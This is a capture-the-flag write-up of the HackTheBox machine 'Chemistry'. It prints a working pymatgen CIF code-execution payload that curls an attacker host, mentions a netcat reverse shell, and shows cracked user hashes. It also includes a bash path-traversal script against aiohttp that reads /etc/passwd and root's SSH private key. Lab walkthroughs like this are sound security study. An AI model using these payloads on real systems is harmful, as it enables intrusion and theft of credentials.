Chemistry - HackTheBox
CTF Writeup for Chemistry from HackTheBox

Based on outdated software.
Starting with the usual nmap. Linux host.
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
Navigating to 5000/tcp...

Information about CIF files here.
Page seems quite ordinary, the 'Login' and 'Register' do their desired functions.
Creating an account and logging in..

Downloading the example CIF file...
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
Some science shit, got it.
Checking 404s, site is written in Flask.
I interacted with this for awhile, eventually getting some 500 errors, but eventually went looking around online...

Checking into it, the vulnerability is with a popular Python library called 'pymatgen', and it is known for scientific stuff. I don't / can't know how the server is processing it, but it doesn't hurt to try the PoC.
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl <c2-ip>:8000");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.xxx.xxx.xxx - - [xx/Oct/2024 xx:xx:xx] "GET / HTTP/1.1" 200 -
And I got a response from the server. Time to get a shell.
Trying out multiple shells from revshells, none of them were sticking, but the one that did was busybox-nc, that's a first for me. Time to update and upload the payload..
listening on [any] 3889 ...
connect to [10.xxx.xxx.xxx] from (UNKNOWN) [10.xxx.xxx.xxx] 56422
Stabilizing the shell, time to look around.
Within the app.py we get a Flask secret; saved for later.
But more interestingly, we find a 'database.db'. Copying back to the box..

Saving and popping these into hashcat...
rosa:63ed86ee9f624c7b14f1d4f43dc251a5:unic*************
carlos:9ad48828b0955513f7cf0f7f6510c8f8:c********
peter:6845c17d298d95aa942127bdad2ceb9b:p**********
victoria:c3601ad2286a4293868ec2a4bc606ba3:v**********
Comparing these to the server's '/etc/passwd' we find the user rosa..
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
... snip ...
rosa@chemistry:~$
Collect the 'user.txt'.
rosa@chemistry:~$ cat user.txt
> ********************************
Time to enumerate the way to root..
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:5000 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
Strange. Time to forward it to the box..

Walking the site, find a '/list_services'; but from pspy checks and injection attempts, not fruitful.
Checking the most basic part of the site..
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: xxx, xx Oct 2024 xx:xx:xx GMT
Server: Python/3.9 aiohttp/3.9.1
Seemingly uninteresting, I checked anyways..

Reading into this PoC..
#!/bin/bash
url="http://localhost:8081"
string="../"
payload="/static/"
file="etc/passwd" # without the first /
for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [[ $status_code -eq 200 ]]; then
curl -s --path-as-is "$url$payload$file"
break
fi
done
Check quick with ffuf finds a '/assets' to work with for this.
curl --path-as-is http://127.0.0.1:8080/assets/
Now to check the validity..
user@c2:~:$ --path-as-is http://127.0.0.1:8080/assets/../../../../../..//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
... snip ...
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
We got LFI.
Since this is a CTF, we can check '/root/.ssh/id_rsa'.. (/etc/shadow's root didn't crack)
user@c2:~:$ curl --path-as-is http://127.0.0.1:8080/assets/../../../../../..//root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
... snip ...
1arrDbm+uzE+QNAAAADnJvb3RAY2hlbWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----
Testing login..
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
... snip ...
root@chemistry:~#
Collect 'root.txt'.
root@chemistry:~# cat root.txt
> ********************************